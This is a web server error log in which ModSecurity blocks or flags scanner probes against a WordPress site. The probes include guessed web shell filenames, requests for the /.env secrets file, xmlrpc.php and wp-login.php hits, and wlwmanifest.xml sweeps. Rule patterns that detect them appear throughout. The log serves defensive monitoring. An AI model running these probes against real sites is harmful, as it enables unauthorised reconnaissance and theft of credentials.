[Sat Feb 28 01:50:12.667810 2026] [:error] [pid 15098:tid 15126] [client 20.100.197.204:6494] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aaHZVMkFqny8dQQbmTksjwAAAJQ"]
[Sat Feb 28 01:50:13.185038 2026] [:error] [pid 38586:tid 38598] [client 20.100.197.204:6296] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aaHZVb_i6nvKNhjFW7VaWAAAAQk"]
[Sat Feb 28 01:50:13.705517 2026] [:error] [pid 38586:tid 38606] [client 20.100.197.204:11996] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aaHZVb_i6nvKNhjFW7VaXwAAARE"]
[Sat Feb 28 01:50:14.223033 2026] [:error] [pid 38620:tid 38642] [client 20.100.197.204:13404] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aaHZVgP6I7SRqrhh7RonUAAAAVQ"]
[Sat Feb 28 01:50:14.744483 2026] [:error] [pid 38620:tid 38636] [client 20.100.197.204:19609] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aaHZVgP6I7SRqrhh7RonXAAAAU4"]
[Sat Feb 28 01:50:15.267669 2026] [:error] [pid 38586:tid 38613] [client 20.100.197.204:11549] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aaHZV7_i6nvKNhjFW7VaZAAAARg"]
[Sat Feb 28 01:50:15.798804 2026] [:error] [pid 38620:tid 38638] [client 20.100.197.204:6280] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aaHZVwP6I7SRqrhh7RonaQAAAVA"]
[Sat Feb 28 01:50:16.344265 2026] [:error] [pid 15100:tid 15172] [client 20.100.197.204:11525] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aaHZWEOEbzcINan_ctLOXQAAAEw"]
[Sat Feb 28 01:50:16.886091 2026] [:error] [pid 15099:tid 15147] [client 20.100.197.204:11560] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aaHZWOnvP2vtPjYDq_g-4QAAAM4"]
[Sat Feb 28 01:50:17.414243 2026] [:error] [pid 15099:tid 15148] [client 20.100.197.204:6483] [client 20.100.197.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaHZWenvP2vtPjYDq_g-5QAAAM8"]
[Sat Feb 28 01:50:17.944288 2026] [:error] [pid 38586:tid 38612] [client 20.100.197.204:6286] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jsond.php"] [unique_id "aaHZWb_i6nvKNhjFW7VabQAAARc"]
[Sat Feb 28 01:50:18.475633 2026] [:error] [pid 38586:tid 38596] [client 20.100.197.204:21160] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jsond.php"] [unique_id "aaHZWr_i6nvKNhjFW7VaeAAAAQc"]
[Sat Feb 28 01:50:18.997064 2026] [:error] [pid 15100:tid 15173] [client 20.100.197.204:4572] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jsond.php"] [unique_id "aaHZWkOEbzcINan_ctLOaAAAAE0"]
[Sat Feb 28 01:50:19.515225 2026] [:error] [pid 15100:tid 15164] [client 20.100.197.204:13389] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jsond.php"] [unique_id "aaHZW0OEbzcINan_ctLOawAAAEQ"]
[Sat Feb 28 01:50:20.038693 2026] [:error] [pid 38586:tid 38599] [client 20.100.197.204:11053] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aaHZXL_i6nvKNhjFW7VahwAAAQo"]
[Sat Feb 28 01:50:20.560150 2026] [:error] [pid 38586:tid 38609] [client 20.100.197.204:21154] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aaHZXL_i6nvKNhjFW7VajAAAARQ"]
[Sat Feb 28 01:50:21.082717 2026] [:error] [pid 15100:tid 15168] [client 20.100.197.204:4605] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aaHZXUOEbzcINan_ctLObgAAAEg"]
[Sat Feb 28 01:50:21.632279 2026] [:error] [pid 15240:tid 15252] [client 20.100.197.204:11570] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aaHZXS1iKL_41Rk9A9OIRAAAAAo"]
[Sat Feb 28 01:57:06.405147 2026] [:error] [pid 38620:tid 38639] [client 91.224.92.164:41211] [client 91.224.92.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aaHa8gP6I7SRqrhh7RovHwAAAVE"]
[Sat Feb 28 01:57:07.837895 2026] [:error] [pid 15100:tid 15164] [client 91.224.92.164:19064] [client 91.224.92.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aaHa80OEbzcINan_ctLQvwAAAEQ"]
[Sat Feb 28 02:05:57.819621 2026] [:error] [pid 15240:tid 15261] [client 146.190.160.27:55629] [client 146.190.160.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.160.27, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaHdBS1iKL_41Rk9A9ORKwAAABM"]
[Sat Feb 28 02:06:01.165069 2026] [:error] [pid 15240:tid 15253] [client 146.190.160.27:55629] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aaHdCS1iKL_41Rk9A9ORNQAAAAs"]
[Sat Feb 28 02:06:02.567818 2026] [:error] [pid 38586:tid 38611] [client 146.190.160.27:50156] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aaHdCr_i6nvKNhjFW7VmcQAAARY"]
[Sat Feb 28 02:06:03.508105 2026] [:error] [pid 38586:tid 38599] [client 146.190.160.27:52019] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aaHdC7_i6nvKNhjFW7VmdwAAAQo"]
[Sat Feb 28 02:06:04.461789 2026] [:error] [pid 15240:tid 15264] [client 146.190.160.27:54146] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aaHdDC1iKL_41Rk9A9ORSgAAABY"]
[Sat Feb 28 02:06:05.490279 2026] [:error] [pid 38586:tid 38608] [client 146.190.160.27:56074] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aaHdDb_i6nvKNhjFW7VmfQAAARM"]
[Sat Feb 28 02:06:06.501300 2026] [:error] [pid 15100:tid 15178] [client 146.190.160.27:58011] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aaHdDkOEbzcINan_ctLUGgAAAFI"]
[Sat Feb 28 02:06:07.504988 2026] [:error] [pid 15240:tid 15252] [client 146.190.160.27:59851] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aaHdDy1iKL_41Rk9A9ORVQAAAAo"]
[Sat Feb 28 02:06:09.022673 2026] [:error] [pid 38620:tid 38632] [client 146.190.160.27:62836] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aaHdEQP6I7SRqrhh7Ro4QgAAAUo"]
[Sat Feb 28 02:06:11.172896 2026] [:error] [pid 38620:tid 38639] [client 146.190.160.27:64930] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aaHdEwP6I7SRqrhh7Ro4UwAAAVE"]
[Sat Feb 28 02:29:28.200166 2026] [:error] [pid 38620:tid 38624] [client 135.181.213.219:41862] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aaHiiAP6I7SRqrhh7RpPYAAAAUI"]
[Sat Feb 28 02:29:30.722078 2026] [:error] [pid 15100:tid 15163] [client 135.181.213.219:50056] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aaHiikOEbzcINan_ctLeegAAAEM"]
[Sat Feb 28 02:29:33.382674 2026] [:error] [pid 15100:tid 15170] [client 135.181.213.219:50068] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaHijUOEbzcINan_ctLefQAAAEo"]
[Sat Feb 28 02:36:26.003298 2026] [:error] [pid 15240:tid 15243] [client 178.239.198.13:31921] [client 178.239.198.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.239.198.13, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aaHkKi1iKL_41Rk9A9OfaQAAAAE"]
[Sat Feb 28 02:44:13.319012 2026] [:error] [pid 38620:tid 38641] [client 178.239.198.19:58077] [client 178.239.198.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.239.198.19, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aaHl_QP6I7SRqrhh7RpeTwAAAVM"]
[Sat Feb 28 03:49:36.763883 2026] [:error] [pid 8262:tid 8309] [client 139.28.219.70:49504] [client 139.28.219.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.28.219.70, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaH1UCwDS5PS_GHd9LuGnQAAAEo"]
[Sat Feb 28 03:49:39.955501 2026] [:error] [pid 8262:tid 8312] [client 139.28.219.70:49504] [client 139.28.219.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aaH1UywDS5PS_GHd9LuGrQAAAE0"]
[Sat Feb 28 03:49:41.071891 2026] [:error] [pid 8261:tid 8291] [client 139.28.219.70:45266] [client 139.28.219.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aaH1VWh_vxrIbe6e7DViuQAAABM"]
[Sat Feb 28 03:49:42.176801 2026] [:error] [pid 8356:tid 8379] [client 139.28.219.70:45270] [client 139.28.219.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aaH1VkOZwaFLhMxGseFyVAAAANQ"]
[Sat Feb 28 03:49:43.282449 2026] [:error] [pid 8261:tid 8282] [client 139.28.219.70:45272] [client 139.28.219.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aaH1V2h_vxrIbe6e7DVivAAAAAo"]
[Sat Feb 28 03:49:44.372275 2026] [:error] [pid 8261:tid 8281] [client 139.28.219.70:45286] [client 139.28.219.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aaH1WGh_vxrIbe6e7DVivgAAAAk"]
[Sat Feb 28 03:49:45.486227 2026] [:error] [pid 8262:tid 8315] [client 139.28.219.70:45290] [client 139.28.219.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aaH1WSwDS5PS_GHd9LuGvAAAAFA"]
[Sat Feb 28 03:49:46.583654 2026] [:error] [pid 8263:tid 8340] [client 139.28.219.70:45294] [client 139.28.219.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aaH1Wvy129qEf4EbCsiOEAAAAI4"]
[Sat Feb 28 04:08:08.483142 2026] [autoindex:error] [pid 39292:tid 39316] [client 194.146.12.7:51137] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Feb 28 04:16:43.103967 2026] [:error] [pid 39292:tid 39316] [client 146.190.160.27:53126] [client 146.190.160.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.160.27, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaH7q6IAO5fN7BxyqcHnTwAAANY"]
[Sat Feb 28 04:16:45.469149 2026] [:error] [pid 39292:tid 39308] [client 146.190.160.27:53126] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aaH7raIAO5fN7BxyqcHnbAAAAM4"]
[Sat Feb 28 04:16:46.140717 2026] [:error] [pid 39292:tid 39298] [client 146.190.160.27:65248] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aaH7rqIAO5fN7BxyqcHndAAAAMQ"]
[Sat Feb 28 04:16:46.817827 2026] [:error] [pid 39292:tid 39302] [client 146.190.160.27:51413] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aaH7rqIAO5fN7BxyqcHnfAAAAMg"]
[Sat Feb 28 04:16:47.511845 2026] [:error] [pid 39292:tid 39299] [client 146.190.160.27:54168] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aaH7r6IAO5fN7BxyqcHngAAAAMU"]
[Sat Feb 28 04:16:48.173273 2026] [:error] [pid 39292:tid 39300] [client 146.190.160.27:56623] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aaH7sKIAO5fN7BxyqcHngwAAAMY"]
[Sat Feb 28 04:16:48.865506 2026] [:error] [pid 39292:tid 39313] [client 146.190.160.27:59201] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aaH7sKIAO5fN7BxyqcHniAAAANM"]
[Sat Feb 28 04:16:49.559588 2026] [:error] [pid 39292:tid 39309] [client 146.190.160.27:61361] [client 146.190.160.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aaH7saIAO5fN7BxyqcHnkAAAAM8"]
[Sat Feb 28 05:51:11.763537 2026] [:error] [pid 39292:tid 39295] [client 20.220.212.70:58467] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aaIRz6IAO5fN7BxyqcE_SQAAAME"]
[Sat Feb 28 05:51:12.598897 2026] [:error] [pid 39184:tid 39242] [client 20.220.212.70:58440] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aaIR0FtZF9Zd_U7easAtswAAAFc"]
[Sat Feb 28 05:51:13.471831 2026] [:error] [pid 39184:tid 39219] [client 20.220.212.70:2933] [client 20.220.212.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "aaIR0VtZF9Zd_U7easAtuQAAAEA"]
